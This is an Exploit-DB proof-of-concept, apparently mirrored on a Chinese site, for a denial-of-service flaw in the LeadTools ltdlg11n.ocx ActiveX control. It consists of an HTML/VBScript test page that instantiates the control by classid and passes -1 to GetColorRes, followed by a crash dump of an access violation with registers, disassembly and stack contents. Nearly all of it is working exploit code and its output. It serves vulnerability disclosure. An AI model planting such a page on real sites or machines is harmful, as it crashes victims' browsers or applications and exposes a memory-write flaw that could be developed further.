LeadTools 11.5.0.9 – ‘ltdlg11n.ocx’ GetColorRes() Access Violation Denial of Service

  • 作者： Matthew Bergin
    日期： 2010-11-05
  • 类别：
    平台：
  • 来源：https://www.exploit-db.com/exploits/15434/
  • <html>
Test Exploit Page
<object classid='clsid:00110060-B1BA-11CE-ABC6-F5B2E79D9E3F' id='target' /></object>
<script language='vbscript'>
targetFile = "C:\Program Files\Rational\common\ltdlg11n.ocx"
prototype= "Function GetColorRes ( ByVal hWnd As Long ) As Integer"
memberName = "GetColorRes"
progid = "LEADDlgLib.LEADDlg"
argCount = 1

arg1=-1

target.GetColorRes arg1 

</script>


Exception Code: ACCESS_VIOLATION
Disasm: 7E428FB5	MOV [EAX],ECX

Seh Chain:
--------------------------------------------------
1 	73352960 	VBSCRIPT.dll
2 	7C839AD8 	KERNEL32.dll


Called From Returns To
--------------------------------------------------
USER32.7E428FB5 LTKRN11n.2000A033 


Registers:
--------------------------------------------------
EIP 7E428FB5 -> 8B044689
EAX 7713643C -> 8B044689
EBX 00000000
ECX 00000000
EDX 00000001
EDI 02AB1FE0 -> 00000000
ESI 771363F8 -> F33BF08B
EBP 0013EC60 -> 00000000
ESP 0013EC60 -> 00000000


Block Disassembly: 
--------------------------------------------------
7E428FA8	PUSH EBP
7E428FA9	MOV EBP,ESP
7E428FAB	MOV EAX,[EBP+8]
7E428FAE	TEST EAX,EAX
7E428FB0	JE SHORT 7E428FCC
7E428FB2	MOV ECX,[EBP+C]
7E428FB5	MOV [EAX],ECX	<--- CRASH
7E428FB7	MOV ECX,[EBP+10]
7E428FBA	MOV [EAX+4],ECX
7E428FBD	MOV ECX,[EBP+14]
7E428FC0	MOV [EAX+8],ECX
7E428FC3	MOV ECX,[EBP+18]
7E428FC6	MOV [EAX+C],ECX
7E428FC9	XOR EAX,EAX
7E428FCB	INC EAX


ArgDump:
--------------------------------------------------
EBP+8	7713643C -> 8B044689
EBP+12	00000000
EBP+16	00000000
EBP+20	00000000
EBP+24	00000000
EBP+28	02AB1FE0 -> 00000000


Stack Dump:
--------------------------------------------------
13EC60 00 00 00 00 33 A0 00 20 3C 64 13 77 00 00 00 00[.........d.w....]
13EC70 00 00 00 00 00 00 00 00 00 00 00 00 E0 1F AB 02[................]
13EC80 D4 EC 13 00 20 1A FF 1F F8 63 13 77 E0 1F AB 02[.........c.w....]
13EC90 B4 ED 13 00 3A 11 BE 1F D4 EC 13 00 AC ED 13 00[................]
13ECA0 E0 1F AB 02 58 1F AB 02 F8 1E AB 02 00 00 00 00[....X...........]



ApiLog
--------------------------------------------------

***** Installing Hooks *****
7c821a94 CreateFileA(C:\WINDOWS\system32\rsaenh.dll)
7c821a94 CreateFileA(C:\WINDOWS\system32\rsaenh.dll)